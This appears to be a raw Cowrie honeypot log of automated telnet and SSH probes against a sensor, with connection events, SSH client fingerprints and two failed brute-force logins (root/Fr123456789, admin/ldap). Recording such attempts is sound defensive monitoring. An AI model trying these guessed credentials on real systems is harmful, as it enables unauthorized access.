{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53892,"dst_ip":"159.203.135.109","dst_port":23,"session":"363f2fb44499","protocol":"telnet","message":"New connection: 213.129.84.225:53892 (159.203.135.109:23) [session: 363f2fb44499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:23.243244Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":58084,"dst_ip":"159.203.135.109","dst_port":23,"session":"147eae591c5f","protocol":"telnet","message":"New connection: 207.148.4.7:58084 (159.203.135.109:23) [session: 147eae591c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:23.694414Z"}
{"eventid":"cowrie.session.closed","duration":31.095032215118408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:24.085564Z","src_ip":"213.129.84.225","session":"106ffd916a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9014790058136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:24.113936Z","src_ip":"207.148.4.7","session":"4ea48ceaf75e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.485356092453,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:24.759468Z","src_ip":"137.184.155.248","session":"4fa82b1cc885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.71270179748535,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:25.330733Z","src_ip":"137.184.155.248","session":"036c65b2dde0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886099338531494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:26.049061Z","src_ip":"213.129.84.225","session":"c23150efbb74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039170265197754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:26.055376Z","src_ip":"213.129.84.225","session":"8834b3ee9608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19089436531067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:26.273043Z","src_ip":"213.129.84.225","session":"6de65542b52a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43284,"dst_ip":"159.203.135.109","dst_port":23,"session":"f29b091b2cd0","protocol":"telnet","message":"New connection: 213.129.84.225:43284 (159.203.135.109:23) [session: f29b091b2cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:27.309018Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48028,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3a3ed7c1951","protocol":"telnet","message":"New connection: 213.129.84.225:48028 (159.203.135.109:23) [session: b3a3ed7c1951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:29.384645Z"}
{"eventid":"cowrie.session.closed","duration":30.66834545135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:30.076719Z","src_ip":"213.129.84.225","session":"263d83f72184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946375608444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:30.092185Z","src_ip":"213.129.84.225","session":"530e65adba19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044719696044922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:30.138932Z","src_ip":"213.129.84.225","session":"eba853629e35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":50324,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c6405664d82","protocol":"telnet","message":"New connection: 207.148.4.7:50324 (159.203.135.109:23) [session: 1c6405664d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:30.430537Z"}
{"eventid":"cowrie.session.closed","duration":31.2808256149292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:30.911995Z","src_ip":"213.129.84.225","session":"a5c3469648f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429546356201172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:31.266209Z","src_ip":"207.148.4.7","session":"db04406e2ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33646,"dst_ip":"159.203.135.109","dst_port":23,"session":"88178bf3b3bc","protocol":"telnet","message":"New connection: 213.129.84.225:33646 (159.203.135.109:23) [session: 88178bf3b3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:31.640028Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8642af6d20f","protocol":"telnet","message":"New connection: 213.129.84.225:45002 (159.203.135.109:23) [session: f8642af6d20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:34.278148Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":37048,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab6d56827bb","protocol":"telnet","message":"New connection: 207.148.4.7:37048 (159.203.135.109:23) [session: 6ab6d56827bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:35.304647Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55184,"dst_ip":"159.203.135.109","dst_port":23,"session":"51099e8684dd","protocol":"telnet","message":"New connection: 213.129.84.225:55184 (159.203.135.109:23) [session: 51099e8684dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:36.368799Z"}
{"eventid":"cowrie.session.closed","duration":30.487290382385254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:37.175053Z","src_ip":"213.129.84.225","session":"06bd9abb1389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.762643337249756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:38.088686Z","src_ip":"213.129.84.225","session":"f8894bc07e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111130475997925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:38.317342Z","src_ip":"207.148.4.7","session":"cfa4fce5c6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37422,"dst_ip":"159.203.135.109","dst_port":23,"session":"87764da2c639","protocol":"telnet","message":"New connection: 213.129.84.225:37422 (159.203.135.109:23) [session: 87764da2c639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:38.651714Z"}
{"eventid":"cowrie.session.closed","duration":30.12078070640564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:39.054192Z","src_ip":"213.129.84.225","session":"1b83373b09b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547236919403076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:39.068245Z","src_ip":"213.129.84.225","session":"6f6182a18dda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":37060,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa32d0d5332a","protocol":"telnet","message":"New connection: 207.148.4.7:37060 (159.203.135.109:23) [session: fa32d0d5332a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:41.224722Z"}
{"eventid":"cowrie.session.closed","duration":30.627500772476196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:41.475480Z","src_ip":"213.129.84.225","session":"953b2c2fa884","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6329402923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:42.365664Z","src_ip":"207.148.4.7","session":"04947ac06c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":37074,"dst_ip":"159.203.135.109","dst_port":23,"session":"66a17bf91193","protocol":"telnet","message":"New connection: 207.148.4.7:37074 (159.203.135.109:23) [session: 66a17bf91193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:42.600297Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55984,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e9675109a1c","protocol":"telnet","message":"New connection: 137.184.155.248:55984 (10.17.0.5:23) [session: 0e9675109a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:42.930628Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56602,"dst_ip":"159.203.135.109","dst_port":23,"session":"407ce329b671","protocol":"telnet","message":"New connection: 213.129.84.225:56602 (159.203.135.109:23) [session: 407ce329b671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:43.071834Z"}
{"eventid":"cowrie.session.closed","duration":31.456202268600464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:43.737424Z","src_ip":"207.148.4.7","session":"57e96fa1e31a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842719793319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:44.059435Z","src_ip":"207.148.4.7","session":"722a63a9c6bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930657148361206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:45.826277Z","src_ip":"213.129.84.225","session":"68f7276ac267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45576,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d8589740d0","protocol":"telnet","message":"New connection: 207.148.4.7:45576 (159.203.135.109:23) [session: 79d8589740d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:46.164216Z"}
{"eventid":"cowrie.session.closed","duration":30.853293418884277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:46.170303Z","src_ip":"207.148.4.7","session":"bf3c22f3b3d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42760,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2663721832","protocol":"telnet","message":"New connection: 213.129.84.225:42760 (159.203.135.109:23) [session: 3a2663721832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:46.300589Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45602,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2dcaab31975","protocol":"telnet","message":"New connection: 207.148.4.7:45602 (159.203.135.109:23) [session: c2dcaab31975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:47.857393Z"}
{"eventid":"cowrie.session.closed","duration":31.102226495742798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:48.065972Z","src_ip":"213.129.84.225","session":"5dd874965723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45612,"dst_ip":"159.203.135.109","dst_port":23,"session":"11acb756ed64","protocol":"telnet","message":"New connection: 207.148.4.7:45612 (159.203.135.109:23) [session: 11acb756ed64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:48.541772Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45588,"dst_ip":"159.203.135.109","dst_port":23,"session":"105551cd684c","protocol":"telnet","message":"New connection: 207.148.4.7:45588 (159.203.135.109:23) [session: 105551cd684c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:48.762606Z"}
{"eventid":"cowrie.session.closed","duration":31.07765531539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:49.127944Z","src_ip":"207.148.4.7","session":"842e4a2b568a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914435148239136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:49.358824Z","src_ip":"207.148.4.7","session":"c562d3694128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52062,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a32777f578","protocol":"telnet","message":"New connection: 213.129.84.225:52062 (159.203.135.109:23) [session: 65a32777f578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:50.440727Z"}
{"eventid":"cowrie.session.closed","duration":31.572633266448975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:50.785984Z","src_ip":"213.129.84.225","session":"39772b4471c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.559003591537476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:50.992579Z","src_ip":"207.148.4.7","session":"a25c29f9be7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45618,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19d3122ff1c","protocol":"telnet","message":"New connection: 207.148.4.7:45618 (159.203.135.109:23) [session: a19d3122ff1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:51.063680Z"}
{"eventid":"cowrie.session.closed","duration":43.983572483062744,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:51.172356Z","src_ip":"137.184.155.248","session":"3cab54ee2270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709656238555908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:51.431286Z","src_ip":"213.129.84.225","session":"7d3b55cd2f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45622,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c59d130ed2b","protocol":"telnet","message":"New connection: 207.148.4.7:45622 (159.203.135.109:23) [session: 7c59d130ed2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:51.779065Z"}
{"eventid":"cowrie.session.closed","duration":31.067557096481323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:52.093510Z","src_ip":"213.129.84.225","session":"833d97c9831f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415770769119263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:52.151451Z","src_ip":"213.129.84.225","session":"68da6c0de2c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.244586944580078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:53.114833Z","src_ip":"213.129.84.225","session":"9d4f912ec746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28877830505371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:53.353663Z","src_ip":"207.148.4.7","session":"b3a2b7a75d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45636,"dst_ip":"159.203.135.109","dst_port":23,"session":"666675beda47","protocol":"telnet","message":"New connection: 207.148.4.7:45636 (159.203.135.109:23) [session: 666675beda47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:53.588343Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":57254,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed102dc9a866","protocol":"ssh","message":"New connection: 202.125.94.71:57254 (159.203.135.109:22) [session: ed102dc9a866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:53.762721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:53.794036Z","src_ip":"202.125.94.71","session":"ed102dc9a866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:54.057822Z","src_ip":"202.125.94.71","session":"ed102dc9a866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.516967296600342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:54.211261Z","src_ip":"207.148.4.7","session":"147eae591c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353785514831543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:54.596912Z","src_ip":"213.129.84.225","session":"363f2fb44499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":51850,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ffcd11ce710","protocol":"ssh","message":"New connection: 148.230.169.229:51850 (10.17.0.5:22) [session: 5ffcd11ce710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:54.873350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:54.878595Z","src_ip":"148.230.169.229","session":"5ffcd11ce710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:54.946422Z","src_ip":"148.230.169.229","session":"5ffcd11ce710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fr123456789","message":"login attempt [root/Fr123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:55.145431Z","src_ip":"202.125.94.71","session":"ed102dc9a866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ldap","message":"login attempt [admin/ldap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:55.251876Z","src_ip":"148.230.169.229","session":"5ffcd11ce710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:56.321932Z","src_ip":"148.230.169.229","session":"5ffcd11ce710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:56.412312Z","src_ip":"202.125.94.71","session":"ed102dc9a866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34256,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5cfb2f96eab","protocol":"telnet","message":"New connection: 213.129.84.225:34256 (159.203.135.109:23) [session: f5cfb2f96eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:56.678509Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52982,"dst_ip":"159.203.135.109","dst_port":23,"session":"e06e93151701","protocol":"telnet","message":"New connection: 207.148.4.7:52982 (159.203.135.109:23) [session: e06e93151701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:57.918166Z"}
{"eventid":"cowrie.session.closed","duration":30.89827823638916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:58.207222Z","src_ip":"213.129.84.225","session":"f29b091b2cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccaa2c294cb4","protocol":"telnet","message":"New connection: 213.129.84.225:42802 (159.203.135.109:23) [session: ccaa2c294cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:19:58.582676Z"}
{"eventid":"cowrie.session.closed","duration":30.79022216796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:20:00.174731Z","src_ip":"213.129.84.225","session":"b3a3ed7c1951","protocol":"telnet"}
